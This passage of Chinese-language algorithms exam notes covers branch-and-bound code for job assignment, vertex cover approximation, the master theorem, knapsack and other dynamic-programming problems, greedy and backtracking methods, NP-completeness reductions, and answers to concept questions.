(i = 0;i \u0026lt; n;i++) xnode-\u0026gt;x[i] = -1;//-1表示尚未分配 xnode-\u0026gt;t = xnode-\u0026gt;b = 0; xnode-\u0026gt;k = 0; //非叶子节点，继续向下搜索 while (xnode-\u0026gt;k != n) { //对n个操作员分别判断处理 for (i = 0;i \u0026lt; n;i++) { if (xnode-\u0026gt;x[i] == -1) {//i操作员未分配工作 ynode = new ass_node;//为i操作员建立一个节点 *ynode = *xnode;//把父节点数据复制给它 ynode-\u0026gt;x[i] = ynode-\u0026gt;k;//作业k分配给操作员i ynode-\u0026gt;t += c[i][ynode-\u0026gt;k];//已分配作业累计时间 ynode-\u0026gt;b = ynode-\u0026gt;t; ynode-\u0026gt;k++;//该节点下一次搜索深度 ynode-\u0026gt;next = NULL; for (j = ynode-\u0026gt;k;j \u0026lt; n;j++) {//未分配作业最小时间估计 min = MAX_NUM; for (m = 0;m \u0026lt; n;m++) { if ((ynode-\u0026gt;x[m] == -1) \u0026amp;\u0026amp; c[m][j] \u0026lt; min) min = c[m][j]; } ynode-\u0026gt;b += min;//本节点所需时间下界 } if (ynode-\u0026gt;b \u0026lt; bound) { Q_insert(qbase, ynode);//把节点插入优先队列 if (ynode-\u0026gt;k == n)//得到一个可行解 bound = ynode-\u0026gt;b;//更新可行解的最优下界 } else delete ynode;//大于可行解最优下界 } } delete xnode;//释放节点xnode的缓冲区 xnode = Q_delete(qbase);//取下队列首元素xnode } min = xnode-\u0026gt;b; for (i = 0;i \u0026lt; n;i++)//保存最优方案 job[i] = xnode-\u0026gt;x[i]; while (qbase-\u0026gt;next) { xnode = Q_delete(qbase); delete xnode; } return min; } int main() { c[0][0] = 3;c[0][1] = 8;c[0][2] = 4;c[0][3] = 12; c[1][0] = 9;c[1][1] = 12;c[1][2] = 13;c[1][3] = 5; c[2][0] = 8;c[2][1] = 7;c[2][2] = 9;c[2][3] = 3; c[3][0] = 12;c[3][1] = 7;c[3][2] = 6;c[3][3] = 8; int* job = new int[n]; for (int i = 0;i \u0026lt; n;i++) job[i] = -1; float result = job_assigned(c, n, job); for (int i = 0;i \u0026lt; n;i++) cout \u0026lt;\u0026lt; job[i] \u0026lt;\u0026lt; \u0026#34; \u0026#34;; cout \u0026lt;\u0026lt; endl; cout \u0026lt;\u0026lt; result \u0026lt;\u0026lt; endl; system(\u0026#34;pause\u0026#34;); return 0; } 近似算法 # 顶点覆盖问题的近似算法 # VertexSet approxVertexCover ( Graph g ){ cset= 空集 e1=g.e; while (e1 != null) 从e1中任取一条边(u,v)； cset=cset∪{u,v}； 从e1中删去与u和v相关联的所有边； return cset; } 过程：\n到C的位置的时候，e1中已经没有边了，循环结束。\n比较简单的证明，性能比\u0026lt;=2。\n◼每条边扫描一次，时间复杂度为O(|E|) ◼Ratio Bound为2。证明如下： ❑令E’为选中的边集，若(u,v)∈ E’，则与其相邻的边都被删除，因此E’中无相邻边; ❑每次选一条边，则每次有两个顶点加入解集A，|A|=2|E’|; ❑设OPT为最优解，由于E’中无邻接边，OPT至少包含E’中每条边的一个顶点，故|E’|≤|OPT|; ❑故|A|=2|E’|≤2|OPT|，从而得性能比 |A|/|OPT|≤2。\n一些题目解答 # 1.什么是复杂性和渐进复杂性？ 计算资源的量 n趋近于无穷的渐进函数\n2.回溯法的约束函数和限界函数是干什么的？ 不满足约束条件 不满足最优解\n3.最优子结构？\n4.什么是算法？\n注意16和17的证明。\n解决问题的方法或者过程，满足有限性，确定性，可行性。\n递归分治1 # 1️⃣第一问\n第一次：将全体分成9/9/9分别称重，找出较轻的一份 第二次：将较轻的一份成3/3/3，找出较轻的一份 第三次：将较轻的一份成1/1/1，就此找出轻硬币 2️⃣第二问\n算法设计：将3𝑘分为3×3𝑘−1后找出较轻者，再将3𝑘−1分为3×3𝑘−2后找出较轻者，递归至最终只有一个硬币 递归表达式：𝑇(𝑛)=𝑇(𝑛3)+𝑂(1) T ( n ) ：原问题的规模 O ( 1 ) ：找出三者中哪个最轻 T (n3) ：分组后需要处理的那1/3份问题的规模 复杂度：由主定理直接得𝑛log𝑏⁡𝑎=1与𝑂(1)增长速度一样，所以𝑇(𝑛)=Θ(𝑛log𝑏⁡𝑎log⁡𝑛)=log⁡𝑛 ⚠️主定理：𝑇(𝑛)=𝑎𝑇(𝑛𝑏)+𝑓(𝑛)，则𝑇(𝑛)有如下渐进界\n条件 结论 f ( n ) 的增长慢于𝑛log𝑏⁡𝑎 T ( n ) = Θ ( n log b ⁡ a ) f ( n ) 的增长等于𝑛log𝑏⁡𝑎 T ( n ) = Θ ( n log b ⁡ a log ⁡ n ) f ( n ) 的增长快于𝑛log𝑏⁡𝑎 T ( n ) = Θ ( f ( n ) ) 递归分治2 # int f(int n) { if (n \u0026lt;= 1) return 1; return f(n-1)+f(n-2); } 1️⃣第一问：设𝑓(𝑛)问题中调用了𝑎(𝑛)次𝑓(0)，调用了𝑏(𝑛)次𝑓(1)\n递归条件： f ( n ) 本质上就是一堆𝑓(0)/𝑓(1)的相加 在𝑓(𝑛)中调用𝑓(0)/𝑓(1)的次数，就是在𝑓(𝑛–1)和𝑓(𝑛–2)中调用𝑓(0)/𝑓(1)的次数的总和 a ( n ) = a ( n – 1 ) + a ( n – 2 ) 以及𝑏(𝑛)=𝑏(𝑛–1)+𝑏(𝑛–2)，二者就是一个斐波那契数列 尝试前面几个值： f ( 0 ) = 1 直接返回自身的值，算是调用了𝑓(0)一次，所以𝑎(0)=1/𝑏(0)=0 f ( 1 ) = 1 直接返回自身的值，算是调用了𝑓(1)一次，所以𝑎(1)=0/𝑏(1)=1 前两项相加𝑓(2)=2/𝑎(2)=1/𝑏(2)=1 前两项相加𝑓(3)=3/𝑎(3)=1/𝑏(3)=2 前两项相加𝑓(4)=5/𝑎(4)=2/𝑏(4)=3 前两项相加𝑓(5)=8/𝑎(5)=3/𝑏(5)=5 可知𝑎(𝑛)比𝑓(𝑛)慢了两步所以𝑎(𝑛)=𝑓(𝑛–2)，𝑏(𝑛)比𝑓(𝑛)慢了一步所以𝑏(𝑛)=𝑓(𝑛–1) 2️⃣第二问\n将规模为𝑛的wenti分解为：规模为𝑛–1的问题+规模为𝑛–2的问题+常数时间合并 所以𝑇(𝑛)=𝑇(𝑛–1)+𝑇(𝑛–2)+𝑂(1) 这个递归式很难解也不用解，因为题目已经告诉你了𝑓(n)=15((1+52)𝑛+1–(1–52)𝑛+1) 所以复杂度为𝑂(𝑓(𝑛))=𝑂(15((1+52)𝑛+1–(1–52)𝑛+1))=𝑂((1+52)𝑛+1) 递归分治3 # 1️⃣算法设计：将𝐴分为两部分，如果A[mid]\u0026gt;mid则查找左半边，如果A[mid]\u0026lt;mid则查找右半边，如此递归\n2️⃣复杂度：递归表达式𝑇(𝑛)=𝑇(𝑛2)+𝑂(1)，其中𝑂(1)为比较中值大小耗时\n由此𝑛log𝑏⁡𝑎=1，所以属于主定理的情况二，复杂度为Θ(log⁡𝑛) 1️⃣是什么：给定𝑛种物品和容量为𝐶的背包，物品𝑖的重量为𝑤𝑖价格为𝑣𝑖，如何装物品进去使得背包中物品最贵\n要求：max∑𝑖=1𝑛𝑣𝑖𝑥𝑖 限制：∑𝑖=1𝑛𝑤𝑖𝑥𝑖≤𝐶，其中𝑥𝑖∈0,1用于表示物品𝑖装还是不装，并且1≤𝑖≤𝑛 3️⃣递归结构：𝑚(𝑖,𝑗)=max𝑚(𝑖+1,𝑗–𝑤𝑖)+𝑣𝑖,𝑚(𝑖+1,𝑗)\nj 为当前剩余容量，𝑖表示当前当前正在处理物品𝑖，𝑚是背包已放入物体1→𝑖的价值 放入物品𝑖则变为𝑚(𝑖+1,𝑗–𝑤𝑖)+𝑣𝑖，不放入物品𝑖则变为𝑚(𝑖+1,𝑗) 动态规划1 # 1️⃣令(𝑤,𝑣)表示当前背包的\u0026lt;重量,价值\u0026gt;\n放或不放物品1： ( 0 , 0 ) ( 5 , 3 ) 放或不放物品2： ( 0 , 0 ) ( 5 , 3 ) / ( 12 , 4 ) ( 17 , 7 ) 放或不放物品3： ( 0 , 0 ) ( 5 , 3 ) ( 12 , 4 ) ( 17 , 7 ) / ( 6 , 7 ) ( 11 , 10 ) ( 18 , 11 ) ( 23 , 14 ) 放或不放物品4： ( 0 , 0 ) ( 5 , 3 ) ( 12 , 4 ) ( 6 , 7 ) ( 11 , 10 ) / ( 7 , 9 ) ( 12 , 12 ) ( 19 , 13 ) ( 13 , 16 ) ( 18 , 19 ) 放或不放物品5：新增结点全部被支配，所以无任何变化 ( 0 , 0 ) ( 5 , 3 ) ( 6 , 7 ) ( 11 , 10 ) ( 7 , 9 ) ( 12 , 12 ) ( 13 , 16 ) ( 18 , 19 ) 2️⃣价值最大着(18,19)即为解，对应选择的物品是1/3/4\n⚠️注意每一轮需要删掉两种结点\n一个是总重量大于20的结点 另一个是被支配结点，比如结点𝐴的重量比别人大+价值还比别人小，则将其删掉 动态规划2 # 1️⃣第一问\n分放或者不放来更新会更加显然一些。\n放或不放物品1：(2,6) 不放：(0,0) 放入：(2,6) 放或不放物品2：(2,3) 不放：(0,0)(2,6) 放入：(2,3)(4,9)其中(2,3)被支配 放或不放物品3：(6,5) 不放：(0,0)(2,6)(4,9) 放入：(6,5)(8,11)(10,14)其中(6,5)被支配 放或不放物品4：(5,4) 不放：(0,0)(2,6)(4,9)(8,11)(10,14) 放入：(5,4)(7,10)(9,13)(13,15)(15,18)其中(5,4)被支配 放或不放物品5：(4,6) 不放：(0,0)(2,6)(4,9)(8,11)(10,14)(7,10)(9,13)(13,15)(15,18)其中(7,10)被支配 放入：(4,6)(6,12)(8,15)(12,17)(14,20)(11,16)(13,19)其中(4,6)被支配 2️⃣最优解源于(14,20)，选择的是1/2/3/5\n动态规划3 # 1️⃣对于数组𝐴，假设以𝐴[𝑖]结尾的子序列长度为𝐿[𝑖]\n对于介于0→𝑖之间的𝑗，如果𝐴[𝑖]\u0026gt;𝐴[𝑗]，则完全可以将𝐴[𝑖]加到以𝑗结尾的子序列当中 再与原有的𝐿[𝑖]值比较那个更大，也就是𝐿[𝑖]=max∀𝑗\u0026lt;𝑖𝐿[𝑗]+1,𝐿[𝑖] 如果𝐴[𝑖]\u0026lt;𝐴[𝑗]对所有的𝑗成立，则截至到𝐴[𝑗]的升序被打断，𝑖处最大升序只能为1即𝐿[𝑖]=1 2️⃣算法设计\n设长度𝐿[]=[1] 用𝑖遍历𝐴中每个元素 用𝑗遍历𝐴[0]到𝐴[𝑖]每个元素 如果𝐴[𝑖]\u0026gt;𝐴[𝑗]则𝐿[𝑖]=max𝐿[𝑗]+1,𝐿[𝑖] 输出𝐿[]中的最大值 动态规划4 # https://leetcode.cn/problems/maximum-product-subarray/\n1️⃣可能的连续子序列有𝐶𝑛22=𝑂(𝑛2)，计算乘的平均长度为𝑛2，所以复杂度为𝑂(𝑛3)或𝑂(𝑛2)(并行优化后)\n2️⃣分治法：\n将𝐴从𝐴[mid]处拆开 从𝐴[mid]往最右累乘，计算这一过程中的最大正数𝑅𝑃和最小负数𝑅𝑁 从𝐴[mid]往最左累乘，计算这一过程中的最大正数𝐿𝑃和最小负数𝐿𝑁 分别计算𝑅𝑃𝐿𝑃/𝑅𝑃𝐿𝑁/𝑅𝑁𝐿𝑃/𝑅𝑁𝐿𝑁，取其中最大值为𝑀 将左右两半边按照同样的方式递归处理 合并操作：假设每个结点的左/右半边最大乘积为max𝑙/max𝑟，则取maxmax𝑙,max𝑟,𝑀 复杂度：假设不论多少位的乘法都可以在𝑂(1)内并行完成，则𝑇(𝑛)=2𝑇(𝑛2)+𝑂(1) 说过很多遍了，由主方法可得复杂度为𝑂(𝑛) 3️⃣动态规划：\nM ( k )的递推：以下分析再加上𝐴[𝑘]自己，𝑀(𝑘)=max𝐴[𝑘],𝑀(𝑘–1)𝐴[𝑘],𝑚(𝑘–1)𝐴[𝑘]\nM ( k ) 潜在的最大：𝐴[𝑘]为负数时，𝑀(𝑘)=𝑚(𝑘–1)𝐴[𝑘] M ( k ) 潜在的最大：𝐴[𝑘]为正数时，𝑀(𝑘)=𝑀(𝑘–1)𝐴[𝑘] m ( k )的递推：以下分析再加上𝐴[𝑘]自己，𝑚(𝑘)=min𝐴[𝑘],𝑀(𝑘–1)𝐴[𝑘],𝑚(𝑘–1)𝐴[𝑘]\nm ( k ) 潜在的最小：𝐴[𝑘]为负数时，𝑚(𝑘)=𝑀(𝑘–1)𝐴[𝑘] m ( k ) 潜在的最小：𝐴[𝑘]为正数时，𝑚(𝑘)=𝑚(𝑘–1)𝐴[𝑘] 算法实现：复杂度为𝑂(𝑛)\n初始化𝑚[1]=𝐴[0]以及𝑀[1]=𝐴[0]\n用𝑖遍历整个𝐴数组\n按照递归式填补𝑚[𝑖]和𝑀[𝑖] 输出𝑀[𝑖]最大值\n代码如下，直接遍历以这个位置结尾的最大值和最小值。\nclass Solution { public int maxProduct(int[] nums) { int n = nums.length; int[] dpmin = new int[n]; int[] dpmax = new int[n]; dpmin[0] = nums[0]; dpmax[0] = nums[0]; int ans = nums[0]; for(int index = 1; index \u0026lt; n; ++index){ dpmax[index] = Math.max(nums[index], Math.max(dpmax[index - 1] * nums[index], dpmin[index - 1] * nums[index])); dpmin[index] = Math.min(nums[index], Math.min(dpmax[index - 1] * nums[index], dpmin[index - 1] * nums[index])); ans = Math.max(ans, dpmax[index]); } return ans; } } 动态规划5 # 1️⃣递推式：对𝑥[𝑖]有两种处理，即使用邮票𝑖或者不使用邮票𝑖\nfor (int i = 1; i \u0026lt; n; i++) { // 遍历物品 for(int j = 0; j \u0026lt;= bagWeight; j++) { // 遍历背包容量 if (j \u0026lt; weight[i]) dp[i][j] = dp[i - 1][j]; else dp[i][j] = max(dp[i - 1][j], dp[i][j - weight[i]] + value[i]); } } 如果不使用：也就是前𝑖–1张以最优结构凑出𝑗，所以𝑐[𝑖][𝑗]=𝑐[𝑖–1][𝑗] 如果使用：使用邮票𝑖后构成总邮资𝑗 01 背包问题：第𝑖张票不能再用了，也就是要前𝑖–1张邮票再构成总邮资𝑗–𝑥[𝑖] 完全背包问题：第𝑖张票有无限个还能再用，也就是要前𝑖张邮票再构成总邮资𝑗–𝑥[𝑖] 这里式完全背包问题，所以递归式为𝑐[𝑖][𝑗]=𝑐[𝑖][𝑗–𝑥[𝑖]]+1 合起来就是：𝑐[𝑖][𝑗]=min𝑐[𝑖–1][𝑗],𝑐[𝑖][𝑗–𝑥[𝑖]]+1 2️⃣初始条件：\nc [ 1 ] [ j ] ：要用第一种邮票构成邮资𝑗，由于𝑥[1]=1，所以𝑐[1][𝑗]=𝑗 c [ i ] [ 0 ] ：要用前𝑖种邮票构成邮资0，什么都不选就行了，所以𝑐[𝑖][0]=0 c [ i ] [ 1 ] ：要用前𝑖种邮票构成邮资1，显然就是选一个𝑥[1]就行了，所以𝑐[𝑖][1]=1 3️⃣四张邮票所以𝑖≤4，最大邮资为8所以𝑗≤8，不断代入递归式就行了\n动态规划6 # 1️⃣令𝑠𝑢𝑚[𝑖]为0→𝑖中子段最大和\ns u m [ i – 1 ]\n要么是正数/0\n为正：为𝑠𝑢𝑚[𝑖]做出正向的贡献，即𝑠𝑢𝑚[𝑖]=𝑠𝑢𝑚[𝑖–1]+𝑎[𝑖] 为负：为𝑠𝑢𝑚[𝑖]无贡献，即𝑠𝑢𝑚[𝑖]=𝑎[𝑖] 合起来就是：𝑠𝑢𝑚[𝑖]=max𝑠𝑢𝑚[𝑖–1]+𝑎[𝑖],𝑎[𝑖]\n3️⃣算法：加上负数抹成0的机制\ndef max_subarray_sum(a): if not a: return 0 dp = [0] * len(a) dp[0] = a[0] max_sum = max(dp[0], 0) for i in range(1, len(a)): dp[i] = max(dp[i-1] + a[i], a[i]) if dp[i] \u0026gt; max_sum: max_sum = dp[i] return max(max_sum, 0) 贪心算法1 # 很奇妙呢，就是直接分成很多的3。\n1️⃣这是一个严格的结论：令∀𝑛=3𝑚+r，其中𝑟=𝑛 mod 3\nr =0 是分解为3𝑚 r =1 是分解为3(𝑚–1)+2+2 r =2 是分解为3𝑚+2 2️⃣贪心选择性质：算法每一步的局部最优，会带来最终的全局最优\n首先证明分解数不超过4：假设某一个数分解出现了𝑘≥4，则乘积为𝑘×Rest 可以再将𝑘变成𝑘=2+(𝑘–2)，则乘积变为了2(𝑘–2)×Rest 2 ( k – 2 ) × Rest – k × Rest = ( k – 4 ) × Rest ≥ 0 ，所以消除𝑘能使得乘积更大 其次如果选择1也是不行的，比如𝑘×Rest≥1𝑘×Rest 所以最优情况必须是划为2或3的总和，接下来需要做的就是判断是以2为主还是以3为主 假设选择更多的2为最优，以6为例，＜23＜32所以不成立 所以应该分解为更多的3 余数的处理 余数为0，不处理 余数为1，出现了1就不是最优了，最优的做法是借一个3将其分为2+2 余数为2，不处理 贪心算法2 # 0️⃣概念理解\nX 被𝑌覆盖：也就是𝑋的每个子区间都必须被𝑌的某个子区间覆盖\n覆盖数：就是𝑌能覆盖𝑋后𝑌有多少子区间\n也就是中间可以有空的地方，这里要注意一下。\n注意有一个误区，就是𝑌必须是𝑋的子集，不然一个从头到尾的大区间就覆盖掉了，不论中间有没有空隙\n1️⃣贪心策略\n初始化：将𝑋中第一个区间放入𝑌，作为当前区间 更新：重复以下过程 如果当前区间与其他区间有交集 将选取右边界最大的有交集区间 将当前区间与右边界最大的区间进行合并加入到𝑌，形成新的当前区间 如果当前区间与其他区间没有交集 选取离当前区间距离最小的区间 将该区间加入到𝑌中，更新当前区间为该区间 2️⃣最优性证明：\n假设存在某个更优解，其必定在某一部需要选择一个右端点更小的区间 从而导致相比原有做法，后续需要更多区间覆盖，不是最优 所以矛盾，本方法最优 3️⃣复杂度：只需遍历一次，每个区间在每次遍历时只被处理一次，所以复杂度为𝑂(𝑛)\n贪心算法3 # https://leetcode.cn/problems/assign-cookies/description/\n1️⃣首先讲所有小孩/饼干按照饥饿度/饼干大小排序\n2️⃣用𝑖指针遍历小孩数组，用𝑗指针遍历饼干数组\n如果𝐶𝑖\u0026gt;𝐵𝑗，则执行𝑗++ 如果𝐶𝑖≤𝐵𝑗，则执行𝑗++/𝑖++/Count++ 3️⃣最终输出Count\nclass Solution { public int findContentChildren(int[] g, int[] s) { Arrays.sort(g); int kidsNumber = g.length; Arrays.sort(s); int cookiesNumber = s.length; int ans = 0; int i = 0; int j = 0; while(j \u0026lt; s.length \u0026amp;\u0026amp; i \u0026lt; g.length){ if(s[j] \u0026gt;= g[i]){ ++i; ++j; ++ans; }else{ ++j; } } return ans; } } 回溯法1 # 1️⃣解向量为𝑥1,𝑥2,\u0026hellip;,𝑥𝑛其中𝑥𝑖=0/1表示货物𝑖放/不放在船上，约束条件为𝑥𝑖∈0,1和∑𝑖=1𝑤𝑖𝑥𝑖≤𝑐\n2️⃣如下图，结点表示当前总重量，遇到结点\u0026gt;120的就剪枝\n回溯法2 # 0️⃣𝑛皇后问题：在𝑛×𝑛的棋盘上防止𝑛个皇后，所有的皇后不同行/不同列/不同对角线\n解向量：𝑥1,𝑥2,\u0026hellip;,𝑥𝑛其中𝑥𝑖表示棋子位于第𝑖行第𝑥𝑖列 显约束：𝑥𝑖∈1,2,\u0026hellip;,𝑛 隐约束：𝑥𝑖之间互不相等，不在同一对角线上|𝑥𝑖–𝑥𝑗|≠|𝑖–𝑗|，注意这个是所有对角线 1️⃣解空间树\n画个图来直接做剪枝的处理。\n回溯法3 # 1️⃣解向量为𝑥1,𝑥2,\u0026hellip;,𝑥𝑛，显性约束为𝑥𝑖=0,1，隐约束为∑𝑖=1𝑛𝑥𝑖𝑤𝑖=𝑚\n2️⃣解为：8+3\n回溯法4 # 1️⃣解向量为𝑥1,𝑥2,\u0026hellip;,𝑥𝑛\n显约束为𝑥𝑛=1,2,\u0026hellip;,𝑛且互相间不相同\n隐约束为在解向量中，当前在栈中的元素，必定排在已出栈元素的后面\n开始输出之后，就要一次性全部都输出出去。\n2️⃣123进栈后能输出的只有：123/132/213/321，完全倒推出解空间树\n回溯法5(递归回溯) # 0️⃣注意这个问题进行的是深度优先搜索，即递归回溯，具体的图我就不画了\n1️⃣算法思路：假设有𝑛个结点时\n初始化当前最优为1→2→3→4→5→1的距离，以便快速收敛 回溯函数：用𝑖遍历树的每层： 当𝑖\u0026lt;𝑛时，尝试将其与除结点𝑖外的下一层结点进行连接，如果从根到下一节点路径长于最优，则剪枝 当𝑖=𝑛时，尝试与起始点进行连接，如果能与起始点连接则计算哈密顿路径，更小则更新最优值 输出最终的最优值 0 NP1 # ​\t**(稠密子图问题DEN-SG)**给定无向图G，判定G中是否存在一个子图H，它有k个顶点，且至少有y条边。已知k团问题CLIQUE是NP完全问题，请证明稠密子图问题DEN-SG是NP完全问题。\n1️⃣两个问题分别是什么\n稠密子图问题：给定无向图𝐺，要寻找它的一个包含𝑘个顶点的子图，并且该子图边数大于等于𝑦 团问题：给定无向图𝐺，要寻找它的一个包含𝑘个顶点的子图，并且该子图结点互相两两连接 2️⃣先证明稠密子图NP，即它可在多项式时间内验证\n遍历子图所有顶点，并计算其边数，即可判断其总边数是否大于𝑦 耗𝑂(𝑘2)，所以是NP问题 3️⃣证明团问题可以线性时间内规约到稠密子图问题\n很显然的直接推理就可以。\n构建团问题的实例(𝐺,𝑘)：图𝐺中存在𝑘个结点两两连接的子图，则子图中边数为𝑘(𝑘−1)2 构建稠密子图问题的实例(𝐺,𝑘,𝑘(𝑘−1)2) 当团实例成立时，该稠密子图实例也成立，故团问题在多项式时间内规约到了稠密子图问题，证毕 NP2 # 证明顶点覆盖问题（Vertex Cover Problem）属于NPC类\n1️⃣两个问题分别是什么\n顶点覆盖问题：给定无向图𝐺，要寻找它的一个包含𝑘个顶点的子图，子图所有点能连接到图中所有边 团问题：给定无向图𝐺，要寻找它的一个包含𝑘个顶点的子图，并且该子图结点互相两两连接 2️⃣证明顶点覆盖问题是NP：也就是可在所想是时间内验证\n遍历子图中每一个点，记录每一点所连接的边，最后看这些边是否覆盖了所有边 时间复杂度𝑂(𝑘2) 3️⃣证明团问题可以线性时间内规约到顶点覆盖问题\n构建一个团问题的实例(𝐺,𝑘)：图𝐺中存在𝑘个结点两两连接的子图 构建覆盖问题实例(𝐺,|𝐺|−𝑘) 由于定理可知，当团问题实例成立时，覆盖问题实例也一定成立，证毕 NP3 # 1️⃣证明子集覆盖时NP的：遍历𝐶中每一子集，从左到右依次合并，将最终结果与𝑋对比，即可在𝑂(𝑛)内验证\n2️⃣证明顶点覆盖问题可在多项式时间内规约到子集覆盖问题\n核心的思路就是，全集为所有边，一个点关联的所有边为一个子集\n子图中点的边全覆盖了所有边，变成了子图中点对应的边的子集覆盖了全集\nNP4 # 👉𝑃问题：可在多项式时间内求解\n👉𝑁𝑃问题：可在多项式时间内验证，但无法求解\n👉𝑁𝑃𝐶问题：最难的𝑁𝑃问题\n👉𝑁𝑃难问题：难度比𝑁𝑃𝐶还要难的问题，但不一定是𝑁𝑃问题\n1️⃣分别对/错/错，见上图\n(判断)若问题A是一个P类问题，则A也是一个NP类问题 (判断)所有NP难问题都是NP问题 (判断)若问题A是一个NP问题，则A也是一P类问题\n​\n➡️由上图可知，选D\n2️⃣不对，不是上界是下界\n注意：在A归约B的情况下，到A的下界推出B的下界（相减），B的上界推出A的上界（相加）。\n(判断)若问题A的计算时间上界为O(𝑛2)，且问题A可在O(n)时间内变换为问题B，则问题B的计算时间上界也O(𝑛2)\n记住NP问题规约的一些结论：若𝐴可在𝑂(𝜏(𝑛))时间内变换到𝐵，即𝐴∝𝜏(𝑛)𝐵 显然凭直觉有𝑇𝐴=𝑂(𝜏(𝑛))+𝑇𝐵 则𝑇𝐴−𝑂(𝜏(𝑛))为𝐵的下界 则𝑇𝐵+𝑂(𝜏(𝑛))为𝐴的上界 ➡️由以上结论可得选𝐷\n3️⃣选𝐵要记住，如果𝐴是𝑁𝑃𝐶+𝐵是𝑁𝑃+𝐴线性时间可转化为𝐵，则𝐵是𝑁𝑃𝐶\n算法导论 # 1️⃣不对，程序可以无限执行，比如系统进程\n(判断)算法和程序都必须满足有限性，即在执行有限时间后结束 2️⃣两个都对\n(判断)若f(n)=O(g(n))，且f(n)=Ω(g(n))，则f(n)=Θ(g(n)) (判断)若f(n)=Θ(g(n))，则f(n)=Ω(g(n)) f ( n ) = O ( g ( n ) ) 即𝑓(𝑛)≤𝑐1𝑔(𝑛)，𝑓(𝑛)=Ω(𝑔(𝑛))即𝑓(𝑛)≥𝑐2𝑔(𝑛)，于是𝑐2𝑔(𝑛)≤𝑓(𝑛)≤𝑐1𝑔(𝑛)这就是𝛩(𝑔(𝑛))的定义 Θ ( g ( n ) ) 即𝑐2𝑔(𝑛)≤𝑓(𝑛)≤𝑐1𝑔(𝑛)，于是𝑐2𝑔(𝑛)≤𝑓(𝑛)这就是Ω(𝑔(𝑛))的定义 3️⃣就是说𝑓的增长要快于𝑔，所以是大于等于，也就是不小于，选𝐵\n➡️即𝑓(𝑛)≤𝑐𝑔(𝑛)，说明𝑔(𝑛)增长更快，所以𝑓(𝑛)阶更小(小于等于)，选𝐴\n➡️最好情况是紧的𝑐𝑓(𝑛)，所以平均情况肯定要高于𝑐𝑓(𝑛)，也就是以𝑐𝑓(𝑛)为下界，也就是Ω(𝑓(𝑛))选B\n4️⃣(7×2𝑛)×2=7×2𝑛′所以𝑛′=𝑛+1选𝐴\n➡️错误，归并排序又不是𝑂(𝑛)的\n如果一个归并排序算法在某台机器上用1秒钟排序5000个记录，则用2秒钟可以排序10000个记录 递归分治 # 1️⃣不对，直接间接调用，一个不能少\n(判断)递归算法就是指一个直接调用自身的算法。 ​\n2️⃣对的，不断将问题分治为更小的规模\n(判断)二分法搜索算法是运用了分治策略设计的。 ​\n3️⃣不对，也可以分治后，循环遍历处理每个子问题\n分治必须用递归实现 ​\n4️⃣由主定理可知𝑛log𝑏⁡𝑎=𝑛，属于情况1，所以为Θ(𝑛log𝑏⁡𝑎)=Θ(𝑛)，选𝐵\n主定理：𝑇(𝑛)=𝑎𝑇(𝑛𝑏)+𝑓(𝑛)，则𝑇(𝑛)有如下渐进界\n条件 结论 f ( n ) 的增长慢于𝑛log𝑏⁡𝑎 T ( n ) = Θ ( n log b ⁡ a ) f ( n ) 的增长等于𝑛log𝑏⁡𝑎 T ( n ) = Θ ( n log b ⁡ a log ⁡ n ) f ( n ) 的增长快于𝑛log𝑏⁡𝑎 T ( n ) = Θ ( f ( n ) ) ➡️采用的分治法，一分为二，左右两边都要处理，所以𝑇(𝑛)=2𝑇(𝑛2)+𝑐，所以是Θ(𝑛)\n5️⃣分别是：分治，贪心( Dijkstra )，动态规划，贪心。所以选A\n贪心 # 1️⃣非01背包就是要价值/背包中总重最大，所以也一定是贪心地做出最有利于增大这一比例的选择\n但是注意这里的非01背包问题，区别于01背包问题，可以将每个物品分割后放入 2️⃣选𝐶，每次贪心地选择一行内总和最小的两个数\n3️⃣贪心( Dijkstra )，因为每次都选离当前结点最近的点\n4️⃣都对，详见下\n(判断)在求最小生成树的算法中， Kruskal算法使用的是贪心策略 (判断)求最小生成树的Prim算法使用的设计策略是贪心策略 ​\nKruskal ：边扩展，操作对象为所有边，选择权重最小的边加入生成树中 Prim ：点扩展，操作对象为与当前生成树连接的边，选择权重最小边的点加入生成树中 DP # 1️⃣不对，动态规划适用于解决最优子结构+重叠子问题的确定性问题\n(判断)动态规划适合求解动态不确定性问题。 ​\n2️⃣对的，这是定义\n(判断)最优子结构性质是指问题的最优解包含了子问题的最优解。 ​\n3️⃣选𝐵，这是定义\n4️⃣不对，详见下表\n(判断)动态规划算法与分治法都采用自底向上的计算方式 ​\n特性 动态规划 分治法 分解方式 子问题可能重叠 子问题相互独立 计算方向 自底向上 自顶向下 是否存储子问题解 需要存储子问题解以避免重复计算 不需要存储子问题解 回溯算法 # 1️⃣正确：区别见下\n(判断)回溯法和分支限界法都是在问题解空间树上搜索问题解的算法 ​\n搜索策略不同：回溯法通常采用深度优先搜索，而分支限界法通常采用广度优先或最小耗费优先搜索 剪枝方式不同：回溯法主要依赖约束条件，而分支限界法依赖限界函数 2️⃣选𝐴，基本概念\n3️⃣选𝐶，回溯法是用约束条件剪去不满足约束的点及其子树，分支界限使用限界函数减去得不到最优解的子树\n4️⃣最坏情况要遍历所有的叶节点，有多少种排列就有几个叶节点，排列数为𝑛!，所以复杂度为𝑂(𝑛!)\n分支限界 # 1️⃣选𝐷，我们上面之前讲得比较清楚了\n2️⃣选𝐵，分析见下\n首先了解这三个概念 活结点：本身已生成，子节点还未全部生成 扩展结点：正在生成子节点 死结点：子节点全部生成完毕 回溯法：深度优先 比如当前结点有多个子节点，当前生成了一个结点后，先往深处搜索 搜索到底部了之后，再回溯过来生成下一个子节点 所有有多次机会 分支界限法：广度优先，一次性一股脑生成所有子节点，所以只有一次机会 3️⃣对的，结点选择方法，比如栈式分支/队列式分支/优先对列分支，会影响搜索的路径和效率\n(判断)扩展节点的选择影响分支限界法 ​\n4️⃣不对，二者的根本差别不在用不用栈，而在深度优先和广度优先搜索，还有剪枝规则\n(判断)在分支限界法中，如果将活结点用栈来存储，则这种分支界限法就是回溯法 概念题目 # 1️⃣写出分治、动态规划、贪心、回溯算法的策略\n分治：自上而下地将一个复杂问题分为若干简单可直接求解的子问题，通过子问题的解得到原有问题的解 动态规划：将原问题分为互相重叠的子问题，分别解决子问题最终自下而上地合并为原问题的解 贪心：每一步都采取当前状态下最好的选择，从而导致全局都是最优的 回溯：在问题的解空间树上深度优先搜索问题的解，并在不满足约束条件时进行剪枝回退 2️⃣什么是算法的复杂性？ 什么是算法的渐进复杂性？\n复杂性：算法运行所需要的所有计算资源 渐进复杂度：算法规模趋近于穷时，算法的复杂性所趋近的值 3️⃣在回溯法中， 什么是约束函数和界限函数？ 